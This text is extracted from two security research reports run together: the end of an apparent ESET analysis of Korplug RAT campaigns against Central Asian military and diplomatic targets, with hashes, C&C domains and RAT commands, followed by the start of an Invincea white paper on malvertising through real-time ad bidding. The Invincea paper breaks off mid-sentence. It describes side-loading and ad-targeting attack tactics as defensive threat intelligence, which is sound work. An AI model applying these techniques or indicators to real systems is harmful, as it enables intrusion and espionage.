translation Situation Report about 36119221826D0290BC23371B55A8C0E6A84718DD Afghan.doc AGREEMENT BETWEENTHE NATO AND AFGHANISTAN ON THE STATUS OF NATO A6642BC9F3425F0AB93D462002456BE231BB5646 FORCES IN AFGHANISTAN.doc news.doc 51CDC273B5638E06906BCB700335E288807744B5 Activity plan for military units in the EA6EE9EAB546FB9F93B75DCB650AF22A95486391 Volga region in July 2014 .scr 2014 Telephone directory of the Ministry of D297DC7D29E42E8D37C951B0B11629051EEBE9C0 .scr Foreign Affairs of the Kyrgyz Republic About the Center for social adaptation of 8E5E19EBE719EBF7F8BE4290931FFA173E658CB8 .scr servicemen Meeting minutes of the General Staff of 1F726E94B90034E7ABD148FE31EBA08774D1506F .scr the PRC Corrected action A9C627AA09B8CC50A83FF2728A3978492AEB79D8 .scr plan template Situation Report about A9C627AA09B8CC50A83FF2728A3978492AEB79D8 Afghan.scr Military and political situation in Islamic Republic of E32081C56F39EA14DFD1E449C28219D264D80B2F 04.10.2014.scr Afghanistan (IRA) on 04.10.2014 Afghan Air Force.scr E32081C56F39EA14DFD1E449C28219D264D80B2F .scr Action plan 1F726E94B90034E7ABD148FE31EBA08774D1506F Some of the above-mentioned files also contained decoy documents: In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug trojan being loading into memory. exe a legitimate executable with a Kaspersky digital signature that would load a DLL with a specific file name dll a small DLL loader that would pass execution to the Korplug raw binary code dll.avp raw Korplug binary The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion. The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability in Microsoft Word. The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp). Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, Sednit, MiniDuke, and others). However, this exploit is not implemented correctly due to a wrong file offset in the 1st stage shellcode. Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag p!11 marking the beginning of the 2nd stage shellcode and loads it into memory. Even though the tag and 2nd stage shellcode is present in the RTF, it s at a different offset, and thus never is loaded. Sophos Gabor Szappanos gives a possible explanation how these malformed samples may have come into existence. ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least June 2014 and continue through today. We were able to pinpoint the targets to residents of the following countries: Afghanistan Tajikistan Russia Kyrgyzstan Kazakhstan From the topics of the files used to spread the malware, as well as from the affected targets, it appears that the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and diplomatic subjects. Interestingly, most of the affected victims have another thing in common a number of other RATs, file stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection. One of these alternative RATs was connecting to a domain also used by the Korplug samples. Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering whether the attackers were just experimenting with different RATs or were they supplementing some functionality that they were unable to accomplish. Additional information about two malware families that were most often found accompanying Korplug infections is given below. Alternative Malware #1: DarkStRat A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens to are in Spanish (translation in English): CERRAR (close) DESINSTALAR (uninstall) SERVIDOR (server) INFO MAININFO PING REBOOT POWEROFF PROC KILLPROC VERUNIDADES (see units) LISTARARCHIVOS (list files) EXEC DELFILE DELFOLDER RENAME MKDIR CAMBIOID (change ID) GETFILE/SENDFILE/RESUMETRANSFER SHELL SERVICIOSLISTAR (list service) INICIARSERVICIO (start service) DETENERSERVICIO (stop service) BORRARSERVICIO (erase service) INSTALARSERVICIO (install service) The malware can manage processes and services on the infected machine, transfer files to and from the C&C server, run shell commands, and so on. It is written in Delphi and connects to www.dicemention.com. Some samples contain a digital signature by Nanning weiwu Technology co.,ltd Alternative Malware #2: File Stealer This malware, written in C, and contains several functions for harvesting files off the victim s hard drive according to criteria set in the configuration file. Apart from doing a recursive sweep of all logical fixed and remote drives, it also continually monitors any attached removable media or network shares by listening to DBT_DEVICEARRIVAL events. In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, account information and proxy information from the following applications: Microsoft Messenger Microsoft Outlook Microsoft Internet Explorer Mozilla Firefox The C&C domains used by this malware are: newvinta.com worksware.net Some samples of this file stealer detected in these campaigns also contain the signature by Nanning weiwu Technology co.,ltd another indicator that the infections are related. List of SHA1 hashes: Korplug: 5DFA79EB89B3A8DDBC55252BD330D04D285F9189 095550E3F0E5D24A59ADD9390E6E17120039355E 5D760403108BDCDCE5C22403387E89EDC2694860 05BFE122F207DF7806EB5E4CE69D3AEC26D74190 548577598A670FFD7770F01B8C8EEFF853C222C7 530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 F6CB6DB20AA8F17769095042790AEB60EECD58B0 EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F 17CA3BBDDEF164E6493F32C952002E34C55A74F2 973EA910EA3734E45FDE304F20AB6CF067456551 47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 0B5A7E49987EF2C320864CF205B7048F7032300D E81E0F416752B336396294D24E639AE86D9C6BAA E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 Alternative Malware #1: FDD41EB3CBB631F38AC415347E25926E3E3F09B6 457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD 5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 D7D130B8CC9BEA51143F28820F08068521763494 01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 02C38EC1C67098E1F6854D1125D3AED6268540DE Alternative Malware #2: 3A7FB6E819EEC52111693219E604239BD25629E9 BF77D0BA7F3E60B45BD0801979B12BEA703B227B 55EF67AFA2EC2F260B046A901868C48A76BC7B72 A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 34754E8B410C9480E1ADFB31A4AA72419056B622 17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F 6D99ACEA8323B8797560F7284607DB08ECA616D8 1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C 1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE 5860C99E5065A414C91F51B9E8B779D10F40ADC4 7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 Research by: Anton Cherepanov Author Robert Lipovsky, ESET DETECTION | PREVENTION | INTELLIGENCE Invincea White Paper Micro-Targeted Malvertising via Real-time Ad Bidding UPDATED: Includes New CryptoWall Malvertising Campaign Release date: October 27, 2014 Invincea White Paper Invincea, Inc. Invincea White Paper 1 Table of Contents Executive Summary ............................................................................................................... 2 Introduction .......................................................................................................................... 3 Operation DeathClick: Targeting the US Industrial Base ...................................................................4 Summary for Incident at Fleaflicker.com .........................................................................................4 Summary for Incident at Gpokr.com ...............................................................................................9 Summary for Webmail.earthlink.net ............................................................................................. 11 Summary of Incidents in Operation DeathClick ............................................................................. 13 Real-Time Bidding Networks: How it works .......................................................................... 13 Malvertisers have Weaponized RTB ............................................................................................. 16 Competitive Service Offerings for RTB .......................................................................................... 16 Major Players in RTB .................................................................................................................... 20 How Malvertisers Get $$ to Bid on RTB ......................................................................................... 21 Where Malvertisers Host Exploits ................................................................................................. 22 Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23 Ransomware Campaign via Malvertising ............................................................................. 26 Analysis of CryptoWall Malvertising Infections .............................................................................. 27 Central Hosting of Clean Content ......................................................................................... 30 How to Protect Yourself from Micro-targeted Malvertising ................................................. 31 Release Notes...................................................................................................................... 32 Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 2 Executive Summary Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style web driveby attacks. Within the last six months, Invincea has discovered and stopped targeted malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base. The combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense industrials for theft of IP represents another development in the on-going blending of techniques from cyber crime and advanced threat actors with nation state agendas. We are tracking an on-going campaign against US Defense companies under the code name Operation DeathClick. Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft. In this new targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging real- time ad bidding networks and micro-targeting techniques developed over the last decade in online advertising. The objective of these micro-targeted attacks against the Defense sector is likely theft of Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of advanced threat actors. Since these attacks were blocked by Invincea prior to compromise of the machine or network, we cannot confirm the specific IP the perpetrators are after only the Tactics, Techniques, and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access and command and control over compromised networks. While we discovered these attacks across multiple Defense companies, we expect it will not be long, if not already, before other highly targeted segments including Federal, Financial Services, Manufacturing, and HealthCare are victimized with the same micro-targeted malvertising. The campaign described here does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the adversary s capabilities and strategy to leverage legitimate online advertising platforms on well-known ad supported websites via a technique called Real-Time Ad Bidding. In other words, this problem will not be patched on Tuesday. UPDATE: We have updated this document to include a new section on a campaign of distributing CryptoWall ransomware via malvertising. While the attack vector is the same, we believe this to be motivated by cybercrime rather than theft of IP from Defense companies. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 3 Introduction Malvertising has seen meteoric rise in 2014. Threat actors create a corporate front, advertise on commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit kits, or simply create a temporary redirection from their usual content to the malicious landing page. These exploit kits are hosted on compromised web servers across the world. In other words, they leverage legitimate ad-supported popular websites together with compromised websites for hosting exploit landing pages, defeating black-listing techniques. The lifetime of these ads and landing pages are measured in hours. In the campaign described here, Operation DeathClick, traditional malvertising has been armed with a micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests of the user (recorded in cookies) to target specific companies, company types, and user interests/preferences. They are employing the tactics of real-time ad bidding to guarantee malicious ad delivery to intended targets of the campaign building on a decade of work in real-time analytics for online ad placement, but for nefarious purposes. The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages forever. This means that list-based threat intelligence feeds are rendered ineffective. The domains used do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always employ different signatures, evading traditional network and endpoint detection technology. Ad delivery networks today are not incentivized to address the problem in a credible manner as they derive revenue from the criminal enterprise, while not being held accountable. Turning a blind eye to the problem is rewarded economically. Meanwhile the perpetrators are able to use traditional malvertising and ad fraud bots to fund the criminal enterprise. Without cooperation of ad networks to vet the advertisers working through front companies, this attack vector will go unchecked. And now, with the advent of real-time ad bidding, these threat actors have weaponized ad delivery networks to target victims based on: User-Agent strings (versions of flash, OS, java and browser) Interest-related content (click bait articles, industry specific software or hardware, like medical supplies, radar mapping software, ammunition sales, stocks forums) Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes, handbags, cars, luxury vacations) Geographic region (malvertisers can target specific neighborhoods or states via geoip direct advertising) Specific corporate IP ranges (targeted malvertising can target the public IP space of your network or an Industrial Vertical) Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 4 Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an extremely granular basis. For example, oppressive regimes trying to gather intelligence on activist protests can deliver ads to people getting email from within a specific locality where they are protesting. Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate online advertising. For instance, a defense contractor, trying to win a new omnibus contract, can deliver targeted ads to online news sites frequented by Government program personnel. The latest software product release can be delivered to Windows users visiting PC Magazine s website. A local car dealership can sense when someone is in the market for a new car and can deliver advertising to those users, based solely on browsing history. Now advanced threat actors are able to target an organization directly via micro-targeted malvertising, based solely on their corporate network IP range. Thus, it doesn t matter where in the world you point your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news homepage, or even checking your own webmail at a trusted email provider. Those ad windows can and are being used to deliver malware if the bidding price is right. Operation DeathClick: Targeting the US Industrial Base Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign. These contractors had deployed world-class enterprise security defense in depth approaches to protect their intellectual property. They had next generation firewalls that relied on threat intelligence feeds to do auto-blocking of known malicious sites. They had malware interception technology that relied on known bad hashes to prevent malicious downloads. The multiple proxies in place subscribed to real time feeds of known bad URLs. They deployed AV at the gateways and on the endpoints. But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks, each of which would have provided a beachhead for the threat actors from which to compromise the network, if successful. In each instance, the attacks were carried out by targeting these Defense contractors directly via real-time ad bidding. Once targeted, an end user only needed to browse to any website, anywhere in the world, which contained a DoubleClick ad-partner embedded window. Invincea stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers, while producing the forensics that led to this discovery. Next we go in some detail about example attacks perpetrated against the defense firms. It is important to note that the websites we show next that served up targeted malvertising were victims of malvertising campaigns with no knowledge of the malicious ads they were serving up. These malicious ads were served up by 3rd party networks, who are unwittingly sourcing malicious content. As we will discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns. Summary for Incident at Fleaflicker.com Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 5 A user visited his online fantasy football league homepage at Fleaflicker.com. As soon as the page loaded, a malicious ad delivered a backdoor Trojan via a Java-based exploit. Figure 1 shows a screenshot of the page that was visited. You will notice the two inline ad placements for DoubleClick ad delivery. The malware delivered came from a compromised Polish website, and would have installed a generic backdoor Trojan. Figure 1: Fleaflicker.com website Note the prominent ad placements by AdChoice, a DoubleClick affiliate. Figure 2 shows an event tree of the exploit and malware delivered from an ad by visiting Fleaflicker.com. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 6 Figure 2: Event tree for infection from Fleaflicker.com Incident The event tree in Figure 2 taken from Invincea s Threat Management Console shows the exploited Java process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network that allows for real time bidding to deliver ads. In this instance, the Pubmatic server redirected to a Web server in Poland that dropped the malware. The timeline below shows the exact times and URLs visited. Figure 3: Timeline for Fleaflicker.com Incident Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 7 Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see Figure 4). By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5: Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 8 From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely be used to download additional malware or to provide remote persistent access to the attacker. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 9 Summary for Incident at Gpokr.com An employee at a defense contractor visited a free Texas Poker online game. The Poker site had advertisements on the page, one of which launched a similar attack as seen in before on other websites visited by employees at this firm. Figure 6: Screenshot of Gpokr.com It should be noted that Gpokr.com no longer appears to be serving advertisements from their site. At the time of the incident, as seen in the logs below, an ad window was previously present. In the event tree shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via domain name. Also, above is the first indication of specific executable DLL files. Searches for these filenames returned zero results on VirusTotal. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 10 Figure 7: Event Tree for Gpokr.com This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an IP address, not a domain name to deliver its malicious payload. Note the multiple DLL files written to disk and the spawning of rundll32.exe. At this point, the Invincea-protected host recognized the unauthorized process and reverted itself to a clean state. Figure 8: Timeline View for Event 5 Gpokr.com Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 11 Summary for Webmail.earthlink.net In another incident an employee checked their online Earthlink account. When they replied to an email, a new ad was loaded on a page that attempted to exploit Java. This malvertising was from the same IP address seen in other incidents. Figure 9: Screenshot of Webmail.earthlink.net You will notice the inline advertisements on this page in Figure 9. The event tree in Figure 10 notes that this was likely a spear-phish attack. The timeline will show that when the user replied to an email, the ads on the Earthlink page refreshed, dropping the exploit code via Java. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 12 Figure 10: Event Tree for Incident 6 Webmail.earthlink.net Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and the delivery.first-impression.com ad. This is an indication that the page was refreshed or the ad was refreshed on the page. The same exploit IP address from the Gpokr event is present. This event is the oldest, happening on September 11. Figure 11: Timeline for Incident 6 Webmail.earthlink.net Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 13 Summary of Incidents in Operation DeathClick The three examples above are samples of the more than two dozen micro-targeted attacks we have witnessed and blocked as part of Operation DeathClick since mid-September. Defense Industrial Base customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector companies with similar defense-in-depth capabilities. Real-Time Bidding Networks: How it works We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal enterprise to target companies with malicious content in order to gain persistent remote access. In these third-party arrangements, the content is frequently not vetted because billions of impressions are rendered in real-time. Most of the content is legitimate ads. A small fraction is malicious content linking to landing pages that infect users. Real-time ad networks are being used, often unwittingly, and some have taken steps to try and combat malicious use of their networks. The Online Trust Alliance is one such industry group comprised of major software companies and ad networks working together to try and address this problem. Our goal in this paper is to shed light on the micro-targeting of companies by criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing this problem. Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting customers with advertising content they are more likely to click-on. From Wikipedia: Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a per- impression basis, via programmatic instantaneous auction, similar to financial markets.[1] With real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyer s ad is instantly displayed on the publisher s site.[2] Real-time bidding lets advertisers manage and optimize ads from multiple ad-networks by granting the user access to a multitude of different networks, allowing them to create and launch advertising campaigns, prioritize networks and allocate advertising stock. Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time, against a static auction where the impressions are typically bundled in groups of 1,000. A typical transaction begins with a user visiting a website. This triggers a bid request that can include various pieces of data such as the user s demographic information, browsing history, location, and the page being loaded. The request goes from the publisher to an ad exchange, which submits it and the accompanying data to multiple advertisers who automatically submit bids in real time to place their ads. Advertisers bid on each ad impression as it is served. The Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 14 impression goes to the highest bidder and their ad is served on the page.This process is repeated for every ad slot on the page. Real time bidding transactions typically happen within 100 milliseconds from the moment the ad exchange received the request. The bidding happens autonomously and advertisers set maximum bids and budgets for an advertising campaign. The criteria for bidding on particular types of consumers can be very complex, taking into account everything from very detailed behavioral profiles to conversion data. The following infographic summarizes how advanced adversaries are now micro-targeting companies using malvertising. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 15 Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 16 Malvertisers have Weaponized RTB The marketplace and auction of ads sounds great for actual ads. But what if the landing pages that are supposed to be ads are actually malicious PHP pages with embedded malware? The bidding and ad placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement serves malware. The price to win the bid to push malvertising to any page you happen to visit ranges from 45 to 75 cents per impression. A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time. In fact, the ads are often stolen copies from legitimate advertisers. This establishes the attacker s legitimacy and trust on the ad network. Of course with real-time ad bidding, he can simply offer up low bids and his content would consistently lose in the marketplace. But it is very simple to replace the redirection code to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash, Silverlight, or all three. Once the malvertiser detects that he has several infected hosts, he removes the redirection code and goes back to serving standard ad banners. He then burns his temporary exploit kit drop site, moving his exploits to another location for a new campaign. This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever time he wants, and maintain his presence on the advertising marketplace without drawing undue attention to his activities. In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show how malvertisers have been mis-appropriating RTB networks to deliver malware. Competitive Service Offerings for RTB The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve legitimate content to users more likely to click on them. In the following, we describe these capabilities to show the state of the art in RTB network capabilities. The quoted material below are direct quotes from Real Time Bidding service providers linked. Emphasis added by Invincea. Pubmatic: Audience Targeting: Bid on the audiences most valuable to you. Each impression in the PubMatic auction can be enhanced with first- and third-party data; giving buyers targeting capabilities across display, mobile, tablet and video inventory. Media buyers can also cookie sync with publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital advertising. Buyers have access to proprietary audience segments either directly through Private Marketplace deals or through the open market. With hundreds of parameters available to you, PubMatic has your best audiences waiting for you. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 17 With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal packages, publisher and/or site-specific inventory packages as well as pre-selected publisher packages and pricing available in Private Marketplaces. First-Impression.com First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help our clients make the most of their spend, along with an expert support team to advise when needed. By leveraging real time buying, First-Impression Buy-Side gives media buyers the full control to maximize the value of an impression. Could Malvertisers Track Exploits and their cost per impression? Yes. Many RTB networks provide a control panel to track advertising campaigns in real-time, along with notifications that bids have been won and who exactly was served the malware. Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser. In the URL are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not), the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was delivered. http://delivery.first- impression.com/delivery?action=serve&ssp_id=3&ssp_wsid=2191400908&dssp_id=100&domain_ id=2191400908&ad_id=748271&margin=0.4&cid=155380&bn=sj14&ip_addr=24.234.123.133&ua=15 40937276&top_level_id=24.234.123.133&second_level_id=1540937276&page=thanhniennews.co m&retargeted=null&height=90&width=728&idfa=null&android_id=null&android_ad_id=null&bi d_price=0.654&count_notify=1&win_price=$AAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew DoubleClick.net DoubleClick discusses their targeting capabilities in online documentation. Since they specialize in knowing the location of their ad windows, they market those ad spaces to the actual advertisers and malvertisers, along with targeted demographics about the content pages, the visitors to the sites and more. To showcase the variety of impression-level data available to buyers, consider the data made available through a connection to DoubleClick Ad Exchange s real-time bidding API. With ADX, a buyer could consider any of the following data passed from the seller with each impression: Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes, excluded advertiser URLs, allowed vendor or ad technology. Geo parameters: country, region, metro, city. Content parameters: site URL, site language, seller network, vertical or category. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 18 User parameters: browser, operating system, anonymous cookie (hashed), cookie age. Just like when considering one type of data, by using the anonymous cookie parameter, buyers can consider first-party retargeting or third-party audience data from a data provider. However, they can go further in the evaluation by looking at more of these parameters. This helps a buyer learn much more about a particular user and a particular impression, gain a smarter answer to the three essential questions and make a more data-driven decision. Twitter, Facebook and other RTB ads can now target mobile devices by their phone numbers. This sounds like a great way to advertise if you are in the marketing industry. Consider how granularly a person can be targeted if this service is used maliciously. If not targeted by the desktop, how about on the mobile platform? Twitter s Tailored Audiences just got a little more tailored. Advertisers can now augment their customer data using mobile advertising IDs and mobile phone numbers as a way to reach existing customers and increase audience size. In essence, the move is an extension of Twitter s Tailored Audiences for CRM retargeting, which allows advertisers to use hashed non-PII email address to retarget existing customers. (email addresses are twitter IDs- so you could be targeted for ad delivery based on your account name or known phone number) Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar to Facebook s tool of the same name. Twitter s lookalike modeling uses a proprietary algorithm that examines modeled users looking for similarities related to behaviors, interests, location, demographic attributes and engagement patterns. Twitter described its enhanced as part of improved targeting options to help advertisers reach additional users similar to their existing audiences. Tailored Audiences, Twitter s seeming answer to the Facebook Exchange (FBX), officially launched back in December after running retargeting and database matching tests in July. Twitter has appeared to follow Facebook s lead with a number of its recent roll-outs, including site retargeting, CRM targeting and now retargeting via lookalike audiences. (Facebook also makes it possible to target users by phone numbers through Custom Audiences.) Neustar.biz Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they sell to other advertising networks for the purposes of better targeting specific users. In Europe, laws require that advertising networks allow people to opt out of having tracking cookies, which is how many advertisers used to rely upon for ad campaign targeting. To get around this, Neustar perfected IP based targeting, which avoids cookies. They are able to build IP specific browsing profiles based on IP subnets. In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 19 How can Neustar IP Intelligence target by IP? While IP intelligence has been around for many years, the ability to effectively target advertising by audience, based on IP is very new. Neustar IP Intelligence is currently working with select DSP platforms to buy impressions off of the exchanges based on the IP address rather than cookies. This has only been possible with the recent emergence of real time bidding (RTB). The secret sauce is in understanding the IP and the methodology necessary for targeting ads appropriately against it. Is an IP Address like a cookie? No, an IP address only identifies devices on a network. The IP address does not contain any PII and does not track or store any consumer usage or behavioral information. (But IP ranges are registered by IANA, and you can easily know who owns the ranges) Product Specific Questions Q1: How does the process work? The process works exactly like any advertising network. Instead of buying inventory based on a cookie, Neustar is buying inventory based on an IP address. We run the targeting specifics against our proprietary database and create a custom IP list to target against. Neustar has set up relationships with partners that have built the functionality for this to work end-to-end for our advertisers. Neustar offers a full service ad network. Brand marketers who wish to advertise using IP Audience Targeting can work directly with Neustar to determine custom IP placements, run campaigns, optimization, reporting and billing. Much like any traditional online publisher or online ad network, Neustar manages the entire process. How does Neustar deliver its ads? We use industry standard methods for delivering our ads, but what makes our approach special is that we bake in the IP data before delivering the inventory with our network partners, which allows us to target display ad campaigns to a specific business or organization. We obtain inventory from ad exchanges, but have our own ad server. Zedo Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against malvertisers in this blog here. Less than a week after this announcement, they published another blog post that describes how they can push advertising to specific platforms, devices, as well as specific markets and networks: ZEDO Advertising Technology Updates September 2014 Device Targeting Users can now target ads to a specific device when trafficking ads. An option for Device Targeting is now available under Targeting . A creative targeted to a specific Device will serve only on that Device. All major manufacturers/models are supported by this feature. If a creative is not targeted to any specific device than it will serve on all device. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 20 Figure 13: Targeting by Device Manufacturer/Model Apart from device, a user can target various devices based on different categories. At any given point of time, a user can target multiple manufacturers and categories. Figure 14: Targeting by Device Category Reach Report by Creative Apart from existing campaign reach report a user can now pull a reach report by creative. The creative reach report is available along with all the existing parameters and can be pulled by month, week or day. Creative reach report will show creative wise reach. It will help to analyze how effective the reach of a creative was. Major Players in RTB Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 21 To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites. They enable micro-targeting of user s interest, delivering content that a viewer would likely want to see. As we have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools and techniques to target companies with malware for persistent remote access in addition to traditional click fraud, phishing, and identity theft. Below are links to RTB providers to learn more. http://www.sovrn.com/ http://www.turn.com/ http://indexexchange.com/ https://www.dataxu.com/ http://www.sitescout.com/rtb/ http://first-impression.com/home/ http://www.zedo.com/ How Malvertisers Get $$ to Bid on RTB Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression. That is one ad, on one page, paid for by the malvertiser s account. This implies that malvertisers have deep pockets, spending hundreds of dollars on ad impressions. So how do they get money to spend on these malicious campaigns? Invincea recently saw a malvertiser win a bid and delivered a Java exploit. This exploit copied a fully functional version of Chrome into the Java cache directory, and that version of Chrome launched in the background and proceeded to visit websites and click on specific ad banners. It is presumed that these ad banners paid revenue via referral bonuses to the malvertiser. By paying 65 cents to install a background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not thousands of dollars in advertising referral income. It is a pretty good return on investment, which in turn allows the malvertiser to fund his micro-targeted malvertising attack campaign. It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high. Malvertising is not only a danger to end users, but it is a danger to the advertising industry as well. The image from Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java to run in the background. Invincea detected this attack and killed the infection attempt. This is one instance where the malvertiser wasted his 65 cents. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 22 Figure 16: Event tree of click fraud malvertising exploit It should be noted that Invincea is uniquely capable of stopping this type of attack. The introduction of Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV and whitelisting applications industry. In this instance, the host was almost converted to a click-fraud bot. But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other more insidious purpose. Where Malvertisers Host Exploits The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit pages is driving RTB malvertising. Invincea has witnessed a rash of exploit kits and landing pages hosted Compromised WordPress Blogs Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 23 Unconfigured Apache hosts Cloud-based NGINX subdirectories Government and News pages in Poland Free Hosting sites such as ua.in In most instances, the landing pages are preconfigured with the exploit kit. The malvertiser creates the redirection in his normal ad prior to raising his bids to winning levels. Once several victims are confirmed, those malicious landing pages have the content erased, and the automatic redirection removed to serve normal ads again. Real World Examples of RTB Malvertising Captured by Invincea Figures 17 through 21 in the following are screenshots from Invincea s Threat Management console from various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad bidding. Figure 17: Recent Blaze.Com RTB Kryptik malvertising via GumGum Figure 18: Online Ammunition Forum had RTB malvertising delivered. Exploit landing page in In.ua. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 24 Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via German provider: Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from Polish government landing page exploit kits. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 25 Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor. Java exploit hosted at unconfigured Nginx host. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper 26 Ransomware Campaign via Malvertising In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall ransomware attacks via Real Time Ad Bidding. We observed Real Time Ad bidding platforms, including OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads. Ransomware is a particularly pernicious form of malware that fully encrypts the victim 